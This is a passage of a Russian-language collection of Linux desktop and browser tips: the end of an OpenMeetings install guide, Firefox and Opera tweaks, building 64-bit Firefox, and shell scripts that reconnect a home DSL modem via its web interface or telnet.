    Далее, есть ещё одна тонкость: в коде jodconverter жестко прописаны пути, и он
    будет искать опенофис в каталоге /opt/openoffice.org3.
    
    Поэтому, чтобы он таки его мог увидеть, делаем вот такую символическую ссылку:
    
       ln -s /usr/lib/libreoffice /opt/openoffice.org3
    
    Переходим в каталог /opt/red5 и выполняем команду:
    
       cd /opt/red5
       ./red5.sh
    
    Не нужно дожидаться её завершения. И вообще, лучше эту команду выполнить в
    отдельно открытой консоли. Эта команда запустит openmeeting. Его окончательную
    установку необходимо сделать уже через web-интерфейс. Открываем браузер,
    переходим по адресу:
    
    http://your_ip:5080/openmeetings/install
    
    На страничке инсталяции обратим внимание на поле "JOD Path". В нём надо указать
    путь к директории lib нашего джобконвертера:
    /opt/red5/webapps/openmeetings/jodcoverter/lib. В поля имя и пароль вбивается
    имя и пароль администратора системы. В поля imagemagick_path, sox_path,
    ffmpeg_path   пишем /usr/bin. Поле swftools_path - /usr/local/bin. Остальные
    поля на своё усмотрение можно заполнить, после чего жмём внизу кнопку
    "INSTALL". Система призадумается на некоторое время. Через некоторое время (у
    меня заняло около 5 минут) система сообщит что все ОК и можно начинать работу.
    
    Есть один нюанс: при изменении данных пользователя нужно каждый раз ОБЯЗАТЕЛЬНО
    вбивать пароль. Иначе пользователь окажется без пароля и вход в систему станет невозможен.
    
    
    На этом все, можно перезагрузить систему и начинать пользоваться. Удачи.
    
    Примечание: Сервер имеет статический IP. Сразу оговорюсь: ссылки на установку
    пакетов дергал из других статей (указаны ниже) по этому можно наблюдать
    некоторые несоответствия с версиями LibreOffice. В debian 7.4 уже был
    установлен LibreOffice (на него и настроены скрипты в статье). Если кому то
    захочется разобраться - разбирайтесь и не устанавливайте лишнего.  Система сама
    не стала ставить OpenOffice при наличии установленного LibreOffice.  Начнем:
    
    
    Статьи которыми я пользовался для написания:
    * http://www.openkazan.info/http:/%252Fmy-ubuntu-land.blogspot.com/2011/03/openmeetings-161-debian-6-squeeze.html
    * http://technotrance.su/index.php/moi-stati/linux-fedora/item/21-openmeetings2
    
     
    ----* Решение проблемы с работой Adobe Flash в Opera для дистрибутивов Linux с GTK+ 3 (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    В некоторых дистрибутивах Linux, перешедших на GTK+ 3, наблюдаются проблемы с
    работой Flash-плагина в браузере Opera. В качестве обходного пути для решения
    проблемы можно запустить браузер следующим образом:
    
       LD_PRELOAD=/usr/lib/libgtk-x11-2.0.so.0 opera
    
     
    ----* Скрытие строки с заголовком при развертывании окна с Firefox (доп. ссылка 1)   [комментарии]
     
    Для того чтобы скрыть занимающую место строку с заголовком и кнопками
    закрытия/сворачивания можно воспользоваться возможностью выборочного изменения
    оформления окна в Compiz.
    
    Устанавливаем CompizConfig:
    
       sudo apt-get install compizconfig-settings-manager
    
    Запускаем CompizConfig. В блоке "Window Decorations" прописываем в поле "Decoration windows":
    
       (any)&!(class=Firefox&state=maxvert&role=browser)
    
    После такой манипуляции при развертывании окна по Alt-F10 строка с заголовком будет скрываться.
    
    При использовании дополнения 
    Hide Caption Titlebar Plus можно не скрывать заголовок, а перенести в него
    список вкладок выбрав опцию "Place Tabs in the Titlebar".
    
     
    ----* Создание реконнект-скрипта для DSL-модема  (доп. ссылка 1)   Автор: Карбофос  [комментарии]
     
    Принудительный реконнект может потребоваться для получения нового IP-адреса при
    пользовании, к примеру, таких сервисов, как rapidshare.
    
    Для браузера Firefox существует дополнение "Tamper Data", с помощью которого
    можно отлавливать и разбирать по полочкам запросы GET/POST. Так вот, основа
    того, что можно реконнектить модем через веб-интерфейс настроек модема, как раз
    и лежит в этом способе. Всего (обычно) действий четыре: логин с паролем, разрыв
    соединения и через некоторое время (5-10 секунд) - восстановление соединения с
    внешним миром и выход из настроек.
    
    Рассмотрим два шага, для случая, если в локальной сети к установкам модема
    можно "дотянуться" без пароля.
    
    Если мы уже находимся в веб-интерфейсе настроек модема, то нужно найти кнопки
    "Disconnect" и "Connect". После этого включаем "Tamper Data" через панель
    расширений и созерцаем соединения GET/POST в нашем окне. Жмём "Disconnect" в
    веб-интерфейсе модема и смотрим, что происходит в нижнем левом окне:
    
       POSTDATA=controller=Internet&action=DisconnectInternet&id=0&ReturnPage=%2Fdiagnostic.htm
    
    В верхнем окне, в строке "POST" видим 
    
       http://192.168.1.1/cgi-bin/Hn_wan.cgi
    
    Таким же образом определяем восстановление соединения с внешним миром:
    
       POSTDATA=controller=Internet&action=ConnectInternet&id=0&ReturnPage=%2Fdiagnostic.htm
    
    для 
    
       http://192.168.1.1/cgi-bin/Hn_wan.cgi
    
    Затем пишем простой shell-скрипт:
    
        #!/bin/sh
        # by Karbofos
    
        echo "disconnect"
        wget -q -O /dev/null --post-data="controller=Internet&action=DisconnectInternet&id=0&ReturnPage=%2Fdiagnostic.htm" http://192.168.1.1/cgi-bin/Hn_wan.cgi >/dev/null 2>&1
        sleep 5
        echo "connect"
        wget -q -O /dev/null --post-data="controller=Internet&action=ConnectInternet&id=0&ReturnPage=%2Fdiagnostic.htm" http://192.168.1.1/cgi-bin/Hn_wan.cgi >/dev/null 2>&1
    
    Как видно, текст из буфера обмена нужно немного переработать, выкинув текст
    "POSTDATA=" и обращаться нужно не просто по IP адресу модема, а вызывать нужное
    cgi приложение, в нашем случае Hn_wan.cgi
    
    Пауза в 5 секунд необходима для получения нового IP адреса, величина зависит от
    провайдера, устанавливается экспериментальным путём. Если пауза будет меньше,
    то есть вероятность того, что вы получите предыдущий IP.
    
    Конечно, если у вас доступ к настройкам возможен через ввод пароля, то и скрипт
    нужно расширить, добавив к wget опции "--http-user=логин
    --http-password=пароль". Если машина не однопользовательская, параметры
    аутентификации можно поместив их в файл ~/.wgetrc, указав http_user=логин и http_password=пароль.
    
    Или же логин можно "отловить" через веб-интерфейс и расширить скрипт,
    основываясь на данных (для вышеприведенного примера):
    
       POSTDATA=controller=Overview&action=Login&id=0&idTextPassword=YourPassword
    
    для приложения http://192.168.1.1/cgi-bin/Hn_login.cgi
    
    
    Часть 2. Написание реконнект-скрипта для DSL модема с использованием telnet
    
    Собственно, была небольшая проблема реконнекта модема от Zyxel с целью
    получения нового IP-адреса. Этот скрипт я использовал еще до того, как нашёл
    возможность проделывать сию процедуру через веб-интерфейс.
    
    При входе на модем через telnet, необходимо пройдись по пунктим меню:
    
    
       telnet 192.168.1.1
       superadmin,yourpassword
       24
       8
       poe drop poe0
       dev dial 1
       99
    
    Зная эту последовательность команд, пишем скриптик для реконнекта:
    
       #!/bin/sh
       host=192.168.1.1
       port=23
       login="superadmin"
       passwd="yourpassword"
    
       (echo open ${host} ${port}
       sleep 1
       echo ${login}
       sleep 1
       echo ${passwd}
       sleep 1
       echo "24"
       sleep 1
       echo "8"
       sleep 1
       echo "poe drop poe0"
       sleep 1
       echo "dev dial 1"
       sleep 1
       echo exit) | telnet
    
    
    Или циклом:
    
       #!/bin/bash
       host=127.0.0.1
       port=23
       arr=( "superadmin" "yourpassword" "24" "8" "poe drop poe0" "dev dial 1" "99" )
    
       (echo open ${host} ${port}
        sleep 1
        for j in "${arr[@]}"
        do
          echo $j
          sleep 1
        done
       echo exit) | telnet
    
    
    Задержки в секунду (sleep 1) вводились сугубо из-за опасения за медленную реакцию модема.
    
     
    ----* Использование Flash-плагина из состава Google Chrome в Firefox и Opera (доп. ссылка 1)   [комментарии]
     
    Как известно, компания Google с недавних пор поставляет Flash-плагин в составе
    браузера  Chrome. Обновления с исправлением проблем безопасности для
    Flash-плагина из состава Chrome компания Google своими силами выпускает сразу
    после нахождения проблемы, в то время как выход официального обновления Adobe
    Flash обычно затягивается на несколько недель, в течение которых приходится
    либо отключать плагин, либо мириться с возможностью проникновения
    злоумышленника через незакрытую брешь в безопасности системы.
    
    Для использования сборки Flash-плагина от Google достаточно установить браузер
    Chrome с сайта http://www.google.com/chrome
    Запускать его не обязательно, так как обслуживанием загрузки обновлений
    занимается специальный скрипт, запускающийся через cron (/etc/cron.daily/google-chrome).
    
    Далее следует удалить из системы оригинальный Adobe Flash (или отключить через
    меню Add-ons / Plugins) и создать символическую ссылку
    
       sudo ln -s /opt/google/chrome/libgcflashplayer.so /usr/lib/firefox-addons/plugins/
    
    или для Opera:
    
       sudo ln -s /opt/google/chrome/libgcflashplayer.so /usr/lib/opera/plugins/
    
    или
    
       ln -s /opt/google/chrome/libgcflashplayer.so ~/.flash/
    
     
    ----* "Короткие" ссылки в браузерах Mozilla и Chromium (доп. ссылка 1) (доп. ссылка 2)   Автор: Andrey Mitrofanov  [комментарии]
     
    В браузерах Mozilla можно добиться того, чтобы, набрав в строке адреса "короткую" ссылку, например,
    
       op firehol
    
    и нажав Enter, перейти по соответствующему "команде" (первому слову короткой
    ссылки) URL, например,
    
       http://www.google.ru/search?hl=ru&q=firehol+site%3Aopennet.ru
    
    (В этом примере - поиск указанного слова по сайту OpenNET с помощью поисковика Google)
    
    Просто добавьте в закладки ссылку следующего вида:
    
       Имя: G: @ site:opennet.ru
       Адрес: http://www.google.ru/search?hl=ru&q=%S+site%3Aopennet.ru
       Краткое имя: op
    
    В Chromium создание подобных ссылок делается следующим образом:  Нажмите правой
    кнопкой мыши на поле URL, выберите "Edit search engine" ("Изменить поисковые
    системы") и добавьте примерное такие данные
       
      Name: op
      Keyword: op
      URL: http://www.google.ru/search?hl=ru&q=%s+site%3Aopennet.ru
    
    В свою очередь, если в поле поиска самого сайта OpenNET в шапке на любой
    странице opennet набрать "g поисковая фраза" или "google поисковая фраза", то
    поиск будет выполнен не внутренней поисковой системой, а перенаправлен в
    Google. Для выборки отдельных ключевых слов можно набрать в адресной строке
    "http://opennet.ru/ключ", например "http://opennet.ru/mozilla"
    
     
    ----* Ускорение запуска Firefox   Автор: Artem Tashkinov  [комментарии]
     
    Firefox хранит некоторые свои данные в формате БД SQLite3, например, история
    посещений и набранных адресов хранится в файле (БД) places.sqlite. Со временем
    старые записи из этого файла удаляются, добавляются новые записи что приводит к
    неизбежной внутренней и внешней фрагментации этого файла, что замедляет запуск веб-браузера.
    
    Ускорить запуск Firefox можно, оптимизировав внутренее хранилище Firefox.
    Сделать это можно несколькими способами.
    
    Во-первых, при *закрытом* Firefox, находясь в директории с профилем, можно выполнить следующий код:
    
       $ for i in *.sqlite; do sqlite3 "$i" vacuum; done
    
    Данная операция оптимизирует все SQLite файлы.
    
    Во-вторых, прямо внутри браузера можно в консоли ошибок (В меню "Инструменты")
    выполнить следующий код:
    
       Components.classes["@mozilla.org/browser/nav-history-service;1"].getService(Components.interfaces.nsPIPlacesDatabase).DBConnection.executeSimpleSQL("VACUUM");
    
    Однако эта операция оптимизирует только файл places.sqlite.
    
     
    ----* Скрипт для просмотра открытых табов в Firefox   [комментарии]
     
    Иногда требуется узнать какие вкладки оставлены открытыми в Firefox, запущенном на другой машине. 
    
    Ниже представленный Perl-скрипт выводит из файла sessionstore.js список
    открытых табов в формате "url заголовок":
      
    print_open_tabs.pl:
    
       #!/usr/bin/perl
    
       use strict;
       use JSON;
      
       # Читаем содержимое в файл
       my $json_text = <>;
       # Преобразуем JSON-блок в хэш, предварительно убирая лидирующие скобки
       my $perl_scalar = from_json(substr($json_text,1,-1), {utf8 => 1});
    
       # Последовательно перебираем открытые окна и табы
       foreach my $windows_block (@{$perl_scalar->{windows}}){
           foreach my $tabs_block (@{$windows_block->{tabs}}){
               # выводим активные табы по их индексу
               if ($tabs_block->{"index"} > 0){
                   my $idx = $tabs_block->{"index"}-1;
                   print "$tabs_block->{entries}[$idx]{url}\t$tabs_block->{entries}[$idx]{title}\n";
               }
           }
       }
    
    Пример использования:
    
       ./print_open_tabs.pl ~/.mozilla/firefox/*.default/sessionstore.js
    
     
    ----* Решение проблемы неполной загрузки сайтов в Opera через Squid   Автор: Kroz  [комментарии]
     
    Исходные данные:
    Opera 10.61
    Squid 3.1.6
    
    Формулировка проблемы:
    
    Грузим страничку http://rutracker.org/forum/index.php . Без squid грузится
    нормально. Со squid сайт загружается практически весь, но курсор "крутится",
    показывая, что сайт загрузился не полностью. Если присмотреться - не грузится
    элемент "Get Adobe Flash Player" (плагины отключены, отсюда и такое сообщение).
    Так может провисеть секунд 30, может минуту. Потом загружается.
    
    Смотрим access.log
    
    Когда "висит" видно такое:
    
        1281724497.227    561 127.0.0.1 TCP_MISS/301 647 GET http://adobe.com/images/shared/download_buttons
        /get_adobe_flash_player.png - DIRECT/192.150.18.117 text/html
    
    А когда наконец-то загружается, пишет такое:
    
        1281724617.761    209 127.0.0.1 TCP_MISS/200 3048 GET http://www.adobe.com/images/shared/download_buttons
        /get_adobe_flash_player.png - DIRECT/192.150.8.60 image/png
    
    То есть первый раз оно определяет get_adobe_flash_player.png как text/html,
    второй раз - как image/png .
    
    Решение:
    
    Решается конфигурированием Opera (делалось через opera:config) - добавлением двух "галочек"
    
       [X] Enable HTTP 1.1 for proxy
       [X] Enable start with HTTP 1.1 for proxy
    
     
    ----* Смена фона для новой (пустой) вкладки веб-браузера Mozilla Firefox   Автор: Artem Tashkinov  [комментарии]
     
    Многим, кто пробовал веб-браузер Opera, понравилась возможность смены фона
    пустой (новой) вкладки. Оказывается, тоже самое достаточно легко сделать в
    Mozilla Firefox.
    
    Для этого необходимо добавить в файл userContent.css (который находится в папке
    профиля chrome) следующее содержимое:
    
      @namespace url(<a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml<;/a>);
      @-moz-document url("about:blank") {
       *   {
           background:
              url("file:///home/user/Pictures/firefox/Opera-Background-Blue-Swirls.jpg");
              margin:0px;
              background-position:center;
              background-attachment:fixed;
              background-repeat:no-repeat;
              -moz-background-size: 100% 100%;
           }
       }
     
    После этого Firefox будет выглядеть примерно так: http://img52.imageshack.us/img52/5201/newtab.png 
    
    Вместо того, чтобы хранить файл с картинкой отдельно на диске,  можно добавить
    изображение прямо в файл userContent.css:
    
       url("data:image/png;base64,ЗДЕСЬ_ДАННЫЕ_В_ФОРМАТЕ_BASE64");
    
    Чтобы преобразовать изображение в этот формат, можно воспользоваться, например,
    web-сервисом http://www.motobit.com/util/base64-decoder-encoder.asp или
    утилитой base64, например, так:
    
       $ base64 -w0 < изображение.png > 64.txt
    
     
    ----* Добавление собственных элементов меню в Firefox (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Добавим в меню "Инструменты" Firefox кнопку для быстрого включения и выключения
    работы через прокси.
    
    Настройками прокси управляет переменная network.proxy.type. При значении 0 -
    прокси не используется, а при значении 5 - используется сервер заданный в
    настройках рабочего стола, это легко увидеть меняя настройки и глядя на
    закладку about:config. Задача - добавить меню с функцией которая изменяет
    значение этой переменной.
    
    Нужно отредактировать всего два файла
    
       sudo vim /usr/lib/firefox-3.6.3/chrome/browser.jar
    
    в полученном списке файлов выбираем файл content/browser/browser.xul находим
    раздел подменю id="tools-menu" и добавляем туда новый пункт меню "Switch proxy"
    (вставка должна соответствовать стандартам XML)
    
       <menuseparator id="imageprefs"/>
       <menuitem id="menu_switchproxy" label="Switch proxy" oncommand="switch_proxy()"/>
    
    сохраняем и переходим в конец файла content/browser/browser.js и добавляем туда функцию
    
       function switch_proxy(){
         if (gPrefService.getIntPref("network.proxy.type") == 5) {
             gPrefService.setIntPref("network.proxy.type", 0);
         }else{
             gPrefService.setIntPref("network.proxy.type", 5);
         }
       }
    
    Сохраняем файл (если редактировать через vim то jar архив будет автоматически
    обновлен) и перезапускаем Firefox.
    
    Таким же образом можно сделать переключатель, управляющий анимацией и
    автоматической закачкой картинок, для этого необходимо обрабатывать переменные:
    
       image.animation_mode - true-включение анимации, false-выключение
       permissions.default.image - 1-закачивать картинки, 2-не закачивать
    
     
    ----* Добавление сертификата в Chromium (доп. ссылка 1) (доп. ссылка 2)   Автор: silverghost  [комментарии]
     
    После установки Chromium потребовалось импортировать сертификат для работы с
    Webmoney Light. В документации к Chromium рекомендуют использовать команду:
    
       certutil -d sql:$HOME/.pki/nssdb -A -t "P,," -n "WebMoney" -i ./wm.p12
    
    Но такая команда выдает ошибку, по крайней мере в Ubuntu 10.04:
    
       certutil: could not obtain certificate from file: security library: invalid arguments.
    
    Решается эта проблема путем использования другой утилиты:
    
       pk12util -d sql:$HOME/.pki/nssdb -i ./wm.p12
    
    Вышеупомянутые утилиты входят в состав пакета libnss3-tools в Ubuntu/Debian,
    nss-tools в Fedora/RHEL и mozilla-nss-tools в openSUSE.
    
     
    ----* Установка оригинальных версий продуктов Mozilla для Ubuntu (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Ubuntuzilla (http://ubuntuzilla.sourceforge.net)
    поддерживается репозиторий пакетов для Ubuntu Linux, в котором представлены
    последние версии оригинальных сборок Mozilla Firefox, Mozilla SeaMonkey и
    Mozilla Thunderbird. Например, после выхода Firefox 4.0, его можно будет
    установить в ранее выпущенных версиях Ubuntu.
    
    Для установки в /etc/apt/sources.list добавляем:
    
       deb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main
    
    Импортируем ключ:
    
       sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
       sudo apt-get update
    
    Устанавливаем оригинальную сборку на свое усмотрение:
       sudo apt-get install firefox-mozilla-build
       sudo apt-get install thunderbird-mozilla-build
       sudo apt-get install seamonkey-mozilla-build
    
    В пакетах поставляется нелокализированная версия продуктов, для русификации
    интерфейса необходимо вручную скачать и установить через менеджер дополнений
    XPI-файл с пакетом локализации, после чего установить активные языковой
    интерфейс через переменную general.useragent.locale  в about:config. Загрузить
    файлы с локализацией можно по следующим ссылкам:
    
    Firefox: http://releases.mozilla.org/pub/mozilla.org/firefox/releases/Версия/linux-i686/xpi/
    
    Thunderbird: http://releases.mozilla.org/pub/mozilla.org/thunderbird/releases/Версия/linux-i686/xpi/
    
    Seamonkey: http://releases.mozilla.org/pub/mozilla.org/seamonkey/releases/Версия/langpack/
    
     
    ----* Включение акселерации прокрутки и тюнинг табов в Firefox 3.6  (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В Firefox 3.6 добавлена, но отключена по умолчанию, возможность ускорения
    прокрутки после определенного числа вращений колеса мыши.
    Например, установив в about:config:
    
       mousewheel.acceleration.start = 3
       mousewheel.acceleration.factor = 5
    
    после трех быстрых перемещений колеса мыши, четвертое и последующие перемещения
    приведут к сдвигу экрана сразу по 5 позиций.
    
    Другой полезной возможностью, отключенной в Firefox 3.6, является отображение
    эскизов при переключении межу табами через комбинацию клавиш "Ctrl + Tab". Для
    включения в about:config устанавливаем:
    
       browser.ctrlTab.previews = true
    
    чтобы добавить в правой части строки табов кнопку для одновременного
    отображения эскизов для всех табов (вызывается также через Shift + Ctrl + Tab),
    можно установить:
    
       browser.allTabs.previews = true
    
    В Firefox 3.6 также изменено поведение при открытии нового таба, который теперь
    по умолчанию открывается не в  конце списка, а рядом с активным табом, что
    нарушает привычки бывалых пользователей. Чтобы вернуть поведение открытия табов
    в  about:config необходимо установить:
    
       browser.tabs.insertRelatedAfterCurrent = false
    
     
    ----* Установка в одном окружении двух разных версий Firefox с разными дополнениями   [комментарии]
     
    Для того чтобы обеспечить работу в Linux с несколькими разными версиями
    Firefox, или разными наборами дополнений (например, вариант с Flash плагином и
    без него) можно использовать встроенную в браузер технологию пользовательских профилей.
    
    Список профилей можно найти в директории ~/.mozilla/firefox, в которой можно
    увидеть поддиректорию похожую на hf8ndgysh.default, это и есть базовый профиль,
    в котором хранятся все настройки и дополнения. Чтобы создать дополнительный
    профиль запустим Firefox в режиме управления профилями:
    
       firefox -ProfileManager
    
    Если в момент запуска не все окна firefox закрыты, браузер просто откроет новое
    окно. Чтобы этого не произошло нужно использовать опцию
    "-no-remote":
    
       firefox -ProfileManager -no-remote
    
    Выбираем  "Создать Профиль" (Create Profile) и следуя предлагаемой инструкции
    вводим имя нового профиля, например, ff36.
    После этого в директории ~/.mozilla/firefox появится приблизительно такой
    каталог 4nrlkr07.ff36 (4nrlkr07 - случайная последовательность).
    
    Далее можно либо запустить созданный профиль из ProfileManager, либо вернуться
    в командную строку и запустить профиль вручную.
    
    Запускаем основной браузер:
    
       firefox
    
    Запускаем профиль ff36 с другой версией браузера:
    
       /home/myname/firefox36/firefox -P ff36 -no-remote
    
    Для упрощения запуска создаем ярлык на рабочем столе.
    
    Устанавливаемые XUL-дополнения автоматически будут видны только для текущего профиля.
    
     
    ----* Компиляция Mozilla FireFox для получения 64-битной версии   Автор: Zenitur  [комментарии]
     
    Недавно я обнаружил то, что на сайте firefox.com нет 64-битной версии браузера
    Mozilla FireFox для Linux. Не обнаружил я и 64-битной версии браузера для
    других систем. Если посмотреть сайт лучше, можно обнаружить 64-битные сборки
    альфа-версий - а стабильных версий нет.
    
    Тогда я решил собрать 64-битную версию самостоятельно. Разумеется, и 32-битная
    версия будет работать с 64-битной системой, если установить 32-битные
    библиотеки. В Ubuntu они занимают около 100 (ста) мегабайт. Если вы пользуетесь
    DooM III или Wine, 32-битные библиотеки, скорее всего, уже установлены - и
    проблемы нет... А что если они не установлены и устанавливать их у вас нет
    никакого желания?
    
    Кстати, даже если у вас установлен 64-битный браузер, то для того чтобы
    воспользоваться 32-битным Flash-проигрывателем надо установить 32-битные
    библиотеки. Надоели... Но выход есть! Можно или воспользоваться альфа-версией
    64-битной библиотеки Adobe Flash, или Gnash - свободным эквивалентом
    Flash-плееру. Последний работает в том числе и с Konqueror.
    
    Я разобрался со сборкой FireFox из исходного кода и описал этот процесс вам -
    собственные бинарные сборки я размещаю на файлообменнике, найти ссылки можно
    найти в одной из тем на сайте linsovet.com. Архивы приведены к виду архивов на
    сайте firefox.com с тем отличием, что не удалён английский словарь, а также
    многие поисковые сайты из выпадающего списка. Кроме того, 64-битный
    Flash-проигрыватель уже вложен и сразу работает - размер архива увеличился лишь
    на 3 мегабайта, а распакованная директория на 9 мегабайт.
    
    Сразу предупреждаю: никаких проверок работоспособности я не проводил. Флаги
    сборки и оптимизации не трогал и не экспериментировал. В официальном 32-битном
    FireFox есть CrashReporter, а у меня нет, а может быть, его можно включить. В
    моей сборке есть xslt-qa.jar, а в официальной нет - может быть, это только для
    моей машины, в которой есть libxslt. Про то, что логотип FireFox защищён
    несвободной лицензией тоже знаю, и всё же целенаправленно поменял в своей
    сборке логотип Shiretoko на логотип FireFox - знайте, так делать нехорошо.
    Кроме получения недоступной лёгкими путями 64-битного FireFox, компиляция также
    даёт увеличение скорости работы благодаря оптимизации именно под ваше
    оборудование - но я уверен, что для такой программы, как интернет-браузер, этот
    прирост скорости не окажется существенным.
    
    Итак, для начала надо разобраться с зависимостями. Это легче всего сделать в
    таких дистрибутивах, как Debian и Gentoo. В Debian-подобных дистрибутивах надо
    лишь выполнить команду от имени суперпользователя:
    
       apt-get build-dep firefox xulrunner
    
    Чтобы сразу и без проблем установить зависимости в Ubuntu 9.04, я вместо
    firefox написал firefox-3.5 - в репозитории была и остаётся только четвёртая
    бета-версия. Кроме того, я находил сторонний репозиторий с FireFox 3.5,
    http://ppa.launchpad.net/ubuntu-mozilla-daily/, (который, к сожалению, на тот
    момент был неработоспособен и не устанавливал новейшего FireFox. Как там
    обстоят дела сейчас я не знаю, так как я уже достиг своей цели), и устанавливал
    зависимости также для пакетов оттуда.
    
    Если у вас другой дистрибутив, предлагаю устанавливать зависимости
    руководствуясь файлом README или просьбам компилятора.
    Чтобы скачать исходный код Mozilla FireFox, можно зайти на
    ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases/, перейти в директорию с
    самой последней версией, затем в src и загрузить архив tar.bz2. Затем архив
    надо распаковать и, убедившись в том, что на разделе есть свободные 900
    мегабайт, выполнить команду
    
       make -f client.mk build
    
    Так написано в руководстве по адресу
    https://developer.mozilla.org/en/Build_and_Install . Но команда не работает.
    Поискав ошибку в Google, я обнаружил решение. После того, как команда выдаст
    ошибку, надо выполнить ./configure --enable-application=browser и повторить
    первую команду.
    
    Компиляция занимает 40 минут на моём AMD Athlon 64 X2 7850+, 2 гигабайтами
    памяти DDR2 1066 на разделе ReiserFS.
    
    После завершения компиляции можно запустить браузер. Он находится в директории
    dist/bin/, запускать надо файл firefox. Однако остаётся несколько нерешённых
    задач. Вместо FireFox почему-то запускается Shiretoko (кодовое название версии
    3.5, как я понимаю...), хотя функциональность та же. Надо вернуть идентификатор
    браузера, логотип и название, а также удалить лишние 850 мегабайт отработанного
    исходного кода.
    
    Прежде всего, избавляемся от символических ссылок, так как каждый второй файл
    ведёт на несколько директорий назад. Как это сделать командой cp я так и не
    разобрался (профессионалы, подскажите работающий способ!), поэтому я запустил
    winefile, выбрал каталог bin, и скопировал его через Файл > Копировать... в
    другое место.
    
    Символические ссылки пропали, однако исполняемые файлы потеряли параметр
    исполняемости! Дело в том, что в файловых системах Windows-систем такого
    параметра файлов не существует. Заходим в каталог с FireFox, выделяем все
    бинарные файлы и скрипты запуска, нажимаем на них правой кнопкой мыши и
    выбираем "Свойства". Вкладка "Права". Ставим галочку "Позволять выполнение
    файла как программы" в случае если Gnome, или "Is executable" в KDE.
    
    Теперь можно удалить все директории, кроме нашего нового bin.
    Как добавить русский язык, идентификатор и название? Загружаем 32-битную версию
    FireFox. Открываем 2 каталога, с нашим FireFox, и 32-битным. Заменяем всё
    содержимое каталога chrome содержимым русского FireFox. То, чему замены нет, не
    удаляем. Ни в коем случае не трогаем каталог components.
    
    Заменяем все файлы в каталоге defaults. Копируем русский словарь в dictionaries
    - при желании можно стереть английский. Не трогаем extensions. Заменяем все три
    файла в каталоге greprefs. Заменяем icons и modules. Ничего не заменяем в
    plugins, ведь там 64-битные библиотеки. При желании туда можно скопировать
    64-битный Flash-проигрыватель. Не трогаем res. Заменяем всё в searchplugins,
    при желании можно всё оставить как было или наоборот, удалить всё, что было. Не
    трогаем updates. Меняем файлы application.ini, browserconfig.properties,
    firefox, old-homepage-default.properties, platform.ini, README.txt,
    run-mozilla.sh, updater.ini, update.locale, добавляем файл Throbber-small.gif
    (хотя я не знаю, нужен ли он...).
    
    Всё готово. Осталось переименовать каталог bin в firefox и заархивировать, дав
    ему имя, например, firefox-3.5.5-x86_64.tar.bz2.
    
     
    ----* Как убрать Yandex из Firefox 3.5 (доп. ссылка 1)   Автор: STALKER_BY  [комментарии]
     
    При выполнении поисковых запросов из строки ввода URL (не путать с блоком
    поисковых плагинов) в русскоязычной сборке Firefox 3.5 по умолчанию поиск
    осуществляется в Yandex.
    
    Чтобы заменить Yandex на Google нужно в "about:config" найти ключ "keyword.URL" и поменять
    
       http://yandex.ru/yandsearch?stype=first&clid=46511&text=
    на
       http://www.google.com/search?ie=UTF-8&oe=UTF-8&sourceid=navclient&gfns=1&q=
    
    по аналогии, можно добавить любую другую поисковую систему.
    
    Чтобы отключить поиск из адресной строки, необходимо установить переменную keyword.enabled в false.
    
     
    ----* Решение проблем с поддержкой HTML5 в Firefox 3.5 во FreeBSD (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Для отображения на FreeBSD в Firefox 3.5 некоторых специфических элементов
    HTML5 необходимо подгрузить модуль "sem.ko" (POSIX semaphores).
    Чтобы модуль загружался автоматически в /boot/loader.conf нужно прописать:
       sem_load="YES"
    
     
    ----* Установка web-браузера Uzbl в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Для установки web-браузера Uzbl (http://www.opennet.ru/opennews/art.shtml?num=23317) в Ubuntu Linux
    необходимо предпринять следующие шаги:
    
    Для сборки Uzbl необходима последняя версия движка Webkit и связанных с ним
    компонентов. Ставим Webkit из PPA репозитория:
    в добавляем /etc/apt/sources.list:
    
       deb http://ppa.launchpad.net/webkit-team/ppa/ubuntu intrepid main
       deb-src http://ppa.launchpad.net/webkit-team/ppa/ubuntu intrepid main
    
    Импортируем ключ:
    
       sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0x991e6cf92d9a3c5b
    
    Устанавливаем libwebkit-dev, все сопутствующие зависимости и git:
    
       sudo apt-get update
       sudo apt-get install git-core checkinstall libwebkit-dev
    
    Загружаем и собираем Uzbl из Git репозитория проекта:
    
       git clone git://github.com/Dieterbe/uzbl.git
       cd uzbl
       make
    
    Формируем пакет для Ubuntu:
    
       sudo checkinstall
    
    Изучаем примеры скриптов в /usr/share/uzbl
    
     
    ----* Решение проблемы с зависанием nspluginviewer в Fedora 11/KDE   Автор: Artem Tashkinov  [комментарии]
     
    Вне зависимости от ваших настроек, при использовании браузера Konqueror и flash plugin'a от Adobe, 
    просмотрщик flash роликов по умолчанию в KDE - nspluginviewer - постоянно зависает и "забывает" 
    автоматически закрываться при закрытии вкладки или самого веб-браузера Konqueror'a.
    
    Для решения этой проблемы выполните следующие действия:
    
    1. Обновите систему (sudo yum update) и перезагрузитесь в случае обновления ядра.
    
    2. Установите KMPlayer (sudo yum install kmplayer).
    
    3. Откройте настройки ассоциаций mime типов (Konqueror -> Settings -> File
    Management -> File Associations)
    
    - введите для поиска swf;
    - раскройте появившейся тип application->x-shockwave-flash;
    - перейдите на вкладку Embedding;
    - удалите nspluginview в списке Services Preference Order;
    - нажмите кнопку Add...;
    - найдите и добавьте Embedded Mplayer for KDE.
    
    4. Выйдите из Konqueror. На всякий случай дважды выполните команду 'killall
    konqueror nspluginviewer'.
    
    Всё это будет работать, естественно, если у вас уже установлен flash plugin от Adobe.
    
     
    ----* Оптимизация хранилищ данных Firefox 3.x (доп. ссылка 1)   [комментарии]
     
    Начиная с Firefox 3.0, для хранения закладок, истории посещений и других  БД используется SQLite.
    При интенсивной и длительной работе с браузером, можно ощутимо уменьшить время
    загрузки и производительность выполнения некоторых операций,
    через проведение чистки и дефрагментации БД в SQLite.
    
    1. Устанавливаем пакет с sqlite3 или загружаем с сайта http://www.sqlite.org/download.html
    
    2. Не забываем завершить работу Firefox.
    
    3. Выполняем для файлов с расширением .sqlite в директории с профайлом пользователя Firefox:
    
